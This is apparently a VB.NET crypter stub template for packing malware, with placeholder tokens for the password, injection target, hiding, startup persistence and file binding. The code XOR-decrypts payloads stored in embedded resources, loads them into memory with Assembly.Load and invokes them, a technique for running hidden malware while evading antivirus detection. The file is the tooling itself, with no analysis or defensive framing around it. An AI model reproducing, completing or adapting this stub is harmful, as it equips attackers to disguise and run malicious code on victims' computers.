Imports System, Microsoft.VisualBasic
Imports System.Text
Imports System.Runtime.InteropServices
Imports System.ComponentModel
Imports System.Reflection
Imports System.Runtime.CompilerServices
Imports System.Diagnostics
Imports Microsoft.Win32
Imports System.Threading
Imports System.Environment
Imports System.Security.Cryptography

<Assembly: AssemblyTitle("%Title%")>
<Assembly: AssemblyDescription("%Description%")>
<Assembly: AssemblyCompany("%Company%")>
<Assembly: AssemblyProduct("%Product%")>
.<Assembly: AssemblyCopyright("%Copyright%")>
<Assembly: AssemblyTrademark("%Trademark%")>
<Assembly: AssemblyVersion("%AssVers%")>
<Assembly: AssemblyFileVersion("%FileVers%")>


Module %111%
Dim %555% As New Resources.ResourceManager("%jacksparrow%", Assembly.GetExecutingAssembly)
        Dim clazs As String = %555%.Getstring("%CLASSLIBRARY.CLASS1%")
        
    Sub Main()
                System.Windows.Forms.Application.CurrentCulture = New Globalization.CultureInfo("en-US", False)
       Call FirstOne
       
        End
    End Sub
        


        dim %666% as string = "%PASS%"
        

        Sub FirstOne ()
        call ThirdOne
        End Sub
        

          

 Dim bcd As String = Assembly.GetExecutingAssembly().Location
        'Dim ploc As String = IO.Path.GetTempPath
        

        Sub ThirdOne()
        
                 %hide%
        Dim %4% As Byte() = System.text.encoding.default.getbytes( YOtop(%3%,"%normal%"))
                        Dim ferrarelli as String = %555%.Getstring("%ALDO%")
                        Dim %C% As Byte() = System.Text.Encoding.Default.GetBytes(YOtop(%222%, %666%))
                RuntimeHelpers.GetObjectValue(Assembly.Load(%4%).GetType(clazs).GetMethod(%555%.Getstring("%DUNNING%")).Invoke(Nothing, New Object() {%C%, %inj%}))
                                %Startup%       
        
               %Bind%
End Sub           

Dim %222% As string = %555%.GetString("%fedinx%")
        Dim %3% As string = %555%.GetString("%SI%")
        

 Function YOtop(ByVal Input As String, ByVal pass As String) As String
        Dim out As New System.Text.StringBuilder
        Dim u As Integer
        For i As Integer = 0 To Input.Length - 1 Step +2
            Dim tmp As String = Chr(("&H" & Input.Substring(i, 2)) Xor Asc(pass(u)))
            out.Append(tmp)
            If u = pass.Length - 1 Then u = 0 Else u = u + 1
        Next
        Return out.ToString
    End Function
End Module